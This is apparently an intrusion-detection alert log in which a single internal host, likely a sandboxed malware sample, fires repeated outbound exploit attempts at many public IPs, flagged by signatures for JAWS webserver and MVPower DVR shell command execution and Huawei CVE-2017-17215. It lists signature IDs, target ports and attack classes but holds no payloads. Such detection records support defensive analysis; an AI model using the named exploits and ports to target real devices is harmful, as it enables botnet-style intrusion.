Timestamp:	192.168.2.2352.35.155.16647130802025883 01/02/24-06:25:42.678669
SID:	2025883
Source Port:	47130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.165.119.133

Timestamp:	192.168.2.2382.165.119.13360268802030092 01/02/24-06:24:19.252681
SID:	2030092
Source Port:	60268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.37.135.65

Timestamp:	192.168.2.2323.37.135.6550062802030092 01/02/24-06:24:03.045010
SID:	2030092
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.206.2.46

Timestamp:	192.168.2.23181.206.2.4650076802030092 01/02/24-06:24:03.265616
SID:	2030092
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.215.139.228

Timestamp:	192.168.2.2344.215.139.22838962802030092 01/02/24-06:25:42.024128
SID:	2030092
Source Port:	38962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 175.126.123.116

Timestamp:	192.168.2.23175.126.123.11658590802025883 01/02/24-06:25:04.257669
SID:	2025883
Source Port:	58590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.179.83.52

Timestamp:	192.168.2.2354.179.83.5233844802030092 01/02/24-06:25:04.468216
SID:	2030092
Source Port:	33844
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.24.96.44

Timestamp:	192.168.2.2352.24.96.4456028802030092 01/02/24-06:25:04.184391
SID:	2030092
Source Port:	56028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.93.144.234

Timestamp:	192.168.2.23142.93.144.23436246802030092 01/02/24-06:24:36.837939
SID:	2030092
Source Port:	36246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.75.225.91

Timestamp:	192.168.2.23104.75.225.9144926802030092 01/02/24-06:24:58.708367
SID:	2030092
Source Port:	44926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.71.40.215

Timestamp:	192.168.2.23146.71.40.21548486802030092 01/02/24-06:24:05.866440
SID:	2030092
Source Port:	48486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.231.34.90

Timestamp:	192.168.2.2323.231.34.9059060802025883 01/02/24-06:24:27.279281
SID:	2025883
Source Port:	59060
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 109.168.109.229

Timestamp:	192.168.2.23109.168.109.22945120802025883 01/02/24-06:23:56.151964
SID:	2025883
Source Port:	45120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.98.9

Timestamp:	192.168.2.23156.235.98.939512372152829579 01/02/24-06:24:15.985357
SID:	2829579
Source Port:	39512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.244.84.146

Timestamp:	192.168.2.2313.244.84.14656714802030092 01/02/24-06:24:09.228401
SID:	2030092
Source Port:	56714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.141.149.90

Timestamp:	192.168.2.23103.141.149.9046528802025883 01/02/24-06:24:19.516603
SID:	2025883
Source Port:	46528
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.71.165.229

Timestamp:	192.168.2.23174.71.165.22954816802030092 01/02/24-06:24:51.730581
SID:	2030092
Source Port:	54816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 210.136.185.64

Timestamp:	192.168.2.23210.136.185.6435820802025883 01/02/24-06:25:42.761377
SID:	2025883
Source Port:	35820
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.60.214.53

Timestamp:	192.168.2.23207.60.214.5343892802030092 01/02/24-06:23:58.146252
SID:	2030092
Source Port:	43892
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.54.141.224

Timestamp:	192.168.2.2327.54.141.22460562802030092 01/02/24-06:24:30.783293
SID:	2030092
Source Port:	60562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.75.54

Timestamp:	192.168.2.23156.254.75.5454612372152835222 01/02/24-06:25:31.710967
SID:	2835222
Source Port:	54612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.204.186.162

Timestamp:	192.168.2.23185.204.186.16245770802030092 01/02/24-06:24:24.014425
SID:	2030092
Source Port:	45770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 81.45.23.215

Timestamp:	192.168.2.2381.45.23.21550156802025883 01/02/24-06:25:39.133513
SID:	2025883
Source Port:	50156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.91.92.175

Timestamp:	192.168.2.2345.91.92.17553294802025883 01/02/24-06:25:42.747930
SID:	2025883
Source Port:	53294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.208.51.242

Timestamp:	192.168.2.2352.208.51.24237438802025883 01/02/24-06:24:46.160935
SID:	2025883
Source Port:	37438
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 157.90.166.5

Timestamp:	192.168.2.23157.90.166.540292802025883 01/02/24-06:25:26.148693
SID:	2025883
Source Port:	40292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.96.31.60

Timestamp:	192.168.2.2347.96.31.6043368802025883 01/02/24-06:24:32.931561
SID:	2025883
Source Port:	43368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.189.137.17

Timestamp:	192.168.2.232.189.137.1749444802030092 01/02/24-06:25:04.484177
SID:	2030092
Source Port:	49444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.218.57.128

Timestamp:	192.168.2.2389.218.57.12838636802025883 01/02/24-06:23:50.310617
SID:	2025883
Source Port:	38636
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.43.100.113

Timestamp:	192.168.2.23202.43.100.11357888802025883 01/02/24-06:24:43.056570
SID:	2025883
Source Port:	57888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.75.103.117

Timestamp:	192.168.2.23202.75.103.11733286802030092 01/02/24-06:24:31.278952
SID:	2030092
Source Port:	33286
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.209.26.229

Timestamp:	192.168.2.2323.209.26.22960854802025883 01/02/24-06:24:32.802584
SID:	2025883
Source Port:	60854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.24.209.204

Timestamp:	192.168.2.23104.24.209.20437990802030092 01/02/24-06:25:29.545650
SID:	2030092
Source Port:	37990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.97.157.91

Timestamp:	192.168.2.2337.97.157.9157446802030092 01/02/24-06:25:34.999588
SID:	2030092
Source Port:	57446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.52.177.100

Timestamp:	192.168.2.2313.52.177.10058232802030092 01/02/24-06:24:00.958032
SID:	2030092
Source Port:	58232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 41.111.241.34

Timestamp:	192.168.2.2341.111.241.3452770802025883 01/02/24-06:25:30.188511
SID:	2025883
Source Port:	52770
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.37.215.113

Timestamp:	192.168.2.23154.37.215.11352664802030092 01/02/24-06:25:06.760411
SID:	2030092
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.223.119.150

Timestamp:	192.168.2.2377.223.119.15053212802030092 01/02/24-06:25:25.284668
SID:	2030092
Source Port:	53212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.88.191.104

Timestamp:	192.168.2.23202.88.191.10458160802025883 01/02/24-06:23:59.400873
SID:	2025883
Source Port:	58160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.217.78.184

Timestamp:	192.168.2.2323.217.78.18433170802025883 01/02/24-06:25:04.964747
SID:	2025883
Source Port:	33170
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 192.126.242.162

Timestamp:	192.168.2.23192.126.242.16243294802025883 01/02/24-06:25:09.578837
SID:	2025883
Source Port:	43294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.15.66.20

Timestamp:	192.168.2.2345.15.66.2040310802025883 01/02/24-06:24:05.830727
SID:	2025883
Source Port:	40310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.73.17.27

Timestamp:	192.168.2.23104.73.17.2758458802030092 01/02/24-06:24:01.120240
SID:	2030092
Source Port:	58458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.79.255.29

Timestamp:	192.168.2.23104.79.255.2941640802030092 01/02/24-06:24:05.776321
SID:	2030092
Source Port:	41640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.218.179.45

Timestamp:	192.168.2.2352.218.179.4559110802030092 01/02/24-06:25:34.705547
SID:	2030092
Source Port:	59110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.160.112.108

Timestamp:	192.168.2.2367.160.112.10851240802025883 01/02/24-06:25:15.888424
SID:	2025883
Source Port:	51240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.57.79.102

Timestamp:	192.168.2.23149.57.79.10232814802030092 01/02/24-06:23:51.958904
SID:	2030092
Source Port:	32814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.79.154.210

Timestamp:	192.168.2.23185.79.154.21054452802025883 01/02/24-06:24:58.941620
SID:	2025883
Source Port:	54452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.140.253.67

Timestamp:	192.168.2.2318.140.253.6745590802025883 01/02/24-06:25:35.354970
SID:	2025883
Source Port:	45590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.109.200.175

Timestamp:	192.168.2.23109.109.200.17557970802030092 01/02/24-06:24:01.322259
SID:	2030092
Source Port:	57970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.210.249.66

Timestamp:	192.168.2.2351.210.249.6660948802025883 01/02/24-06:24:52.075605
SID:	2025883
Source Port:	60948
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 75.187.170.240

Timestamp:	192.168.2.2375.187.170.24035348802025883 01/02/24-06:24:30.620216
SID:	2025883
Source Port:	35348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.172.159.36

Timestamp:	192.168.2.23216.172.159.3643926802030092 01/02/24-06:25:37.943407
SID:	2030092
Source Port:	43926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.149.236.151

Timestamp:	192.168.2.23107.149.236.15149944802025883 01/02/24-06:24:54.829093
SID:	2025883
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.55.173.244

Timestamp:	192.168.2.2338.55.173.24453040802030092 01/02/24-06:23:51.512013
SID:	2030092
Source Port:	53040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 88.151.101.148

Timestamp:	192.168.2.2388.151.101.14851274802025883 01/02/24-06:25:35.254797
SID:	2025883
Source Port:	51274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 193.46.47.242

Timestamp:	192.168.2.23193.46.47.24236186802025883 01/02/24-06:25:30.204860
SID:	2025883
Source Port:	36186
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 191.96.205.194

Timestamp:	192.168.2.23191.96.205.19456586802025883 01/02/24-06:24:13.903880
SID:	2025883
Source Port:	56586
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 42.237.113.222

Timestamp:	192.168.2.2342.237.113.22243184802025883 01/02/24-06:24:52.311736
SID:	2025883
Source Port:	43184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.32.125.61

Timestamp:	192.168.2.2337.32.125.6150126802030092 01/02/24-06:24:18.097501
SID:	2030092
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.26.86.85

Timestamp:	192.168.2.23197.26.86.8560062802025883 01/02/24-06:25:19.114868
SID:	2025883
Source Port:	60062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.221.104.228

Timestamp:	192.168.2.2361.221.104.22858714802030092 01/02/24-06:25:43.149492
SID:	2030092
Source Port:	58714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.25.137.95

Timestamp:	192.168.2.23104.25.137.9540366802025883 01/02/24-06:24:34.920245
SID:	2025883
Source Port:	40366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.57.244.129

Timestamp:	192.168.2.2323.57.244.12937714802025883 01/02/24-06:25:07.005656
SID:	2025883
Source Port:	37714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.29.227.250

Timestamp:	192.168.2.23213.29.227.25034468802025883 01/02/24-06:24:19.265733
SID:	2025883
Source Port:	34468
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.126.165.103

Timestamp:	192.168.2.2385.126.165.10351920802025883 01/02/24-06:25:29.714738
SID:	2025883
Source Port:	51920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 201.192.158.130

Timestamp:	192.168.2.23201.192.158.13039898802025883 01/02/24-06:25:34.727412
SID:	2025883
Source Port:	39898
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.245.174.80

Timestamp:	192.168.2.23172.245.174.8046628802030092 01/02/24-06:24:17.912872
SID:	2030092
Source Port:	46628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22549862802030092 01/02/24-06:24:23.652013
SID:	2030092
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 220.137.212.60

Timestamp:	192.168.2.23220.137.212.6059920802025883 01/02/24-06:25:15.748234
SID:	2025883
Source Port:	59920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 90.79.11.60

Timestamp:	192.168.2.2390.79.11.6051570802025883 01/02/24-06:25:21.019509
SID:	2025883
Source Port:	51570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.67.240.216

Timestamp:	192.168.2.23172.67.240.21640034802030092 01/02/24-06:25:29.545694
SID:	2030092
Source Port:	40034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.99.59.249

Timestamp:	192.168.2.23118.99.59.24958056802025883 01/02/24-06:24:31.063069
SID:	2025883
Source Port:	58056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.130.122.64

Timestamp:	192.168.2.23170.130.122.6435776802030092 01/02/24-06:25:42.642200
SID:	2030092
Source Port:	35776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.72.211.167

Timestamp:	192.168.2.23148.72.211.16752086802030092 01/02/24-06:24:45.420651
SID:	2030092
Source Port:	52086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.1.227.247

Timestamp:	192.168.2.2352.1.227.24732976802025883 01/02/24-06:25:31.234449
SID:	2025883
Source Port:	32976
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.128.130.6

Timestamp:	192.168.2.23121.128.130.643932802025883 01/02/24-06:24:56.157594
SID:	2025883
Source Port:	43932
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.233.79.101

Timestamp:	192.168.2.2334.233.79.10139524802030092 01/02/24-06:24:40.913375
SID:	2030092
Source Port:	39524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.80.176.125

Timestamp:	192.168.2.2399.80.176.12533828802025883 01/02/24-06:25:00.994557
SID:	2025883
Source Port:	33828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.21.5.88

Timestamp:	192.168.2.23104.21.5.8858690802025883 01/02/24-06:24:30.711855
SID:	2025883
Source Port:	58690
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.178.25.26

Timestamp:	192.168.2.2351.178.25.2639996802030092 01/02/24-06:25:19.073342
SID:	2030092
Source Port:	39996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.187.108.169

Timestamp:	192.168.2.2335.187.108.16953570802025883 01/02/24-06:25:21.019391
SID:	2025883
Source Port:	53570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.112.147.61

Timestamp:	192.168.2.23176.112.147.6145918802030092 01/02/24-06:24:56.122079
SID:	2030092
Source Port:	45918
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.183.50.139

Timestamp:	192.168.2.2335.183.50.13935316802030092 01/02/24-06:25:42.350384
SID:	2030092
Source Port:	35316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 211.149.152.37

Timestamp:	192.168.2.23211.149.152.3757174802025883 01/02/24-06:25:42.230065
SID:	2025883
Source Port:	57174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.97.11.24

Timestamp:	192.168.2.23104.97.11.2460650802030092 01/02/24-06:25:22.089353
SID:	2030092
Source Port:	60650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.1.204.64

Timestamp:	192.168.2.2337.1.204.6437102802030092 01/02/24-06:25:29.908844
SID:	2030092
Source Port:	37102
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.18.93

Timestamp:	192.168.2.23156.247.18.9351712372152829579 01/02/24-06:23:49.692291
SID:	2829579
Source Port:	51712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.194.37.217

Timestamp:	192.168.2.2323.194.37.21755520802030092 01/02/24-06:23:55.440502
SID:	2030092
Source Port:	55520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.71.83.32

Timestamp:	192.168.2.23104.71.83.3248722802025883 01/02/24-06:25:16.196517
SID:	2025883
Source Port:	48722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.183.139.129

Timestamp:	192.168.2.2335.183.139.12937922802030092 01/02/24-06:25:29.610631
SID:	2030092
Source Port:	37922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.133.47.142

Timestamp:	192.168.2.2318.133.47.14241080802030092 01/02/24-06:25:11.803956
SID:	2030092
Source Port:	41080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.48.170.26

Timestamp:	192.168.2.2374.48.170.2654894802030092 01/02/24-06:24:48.887995
SID:	2030092
Source Port:	54894
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.92.76.149

Timestamp:	192.168.2.23213.92.76.14950818802025883 01/02/24-06:25:32.164890
SID:	2025883
Source Port:	50818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.243.32.109

Timestamp:	192.168.2.2345.243.32.10952362802025883 01/02/24-06:25:05.266557
SID:	2025883
Source Port:	52362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.179.157.102

Timestamp:	192.168.2.23185.179.157.10256368802025883 01/02/24-06:24:10.926344
SID:	2025883
Source Port:	56368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.175.16.206

Timestamp:	192.168.2.2346.175.16.20649032802030092 01/02/24-06:24:48.996752
SID:	2030092
Source Port:	49032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.46.139.244

Timestamp:	192.168.2.2377.46.139.24443154802030092 01/02/24-06:25:02.038352
SID:	2030092
Source Port:	43154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

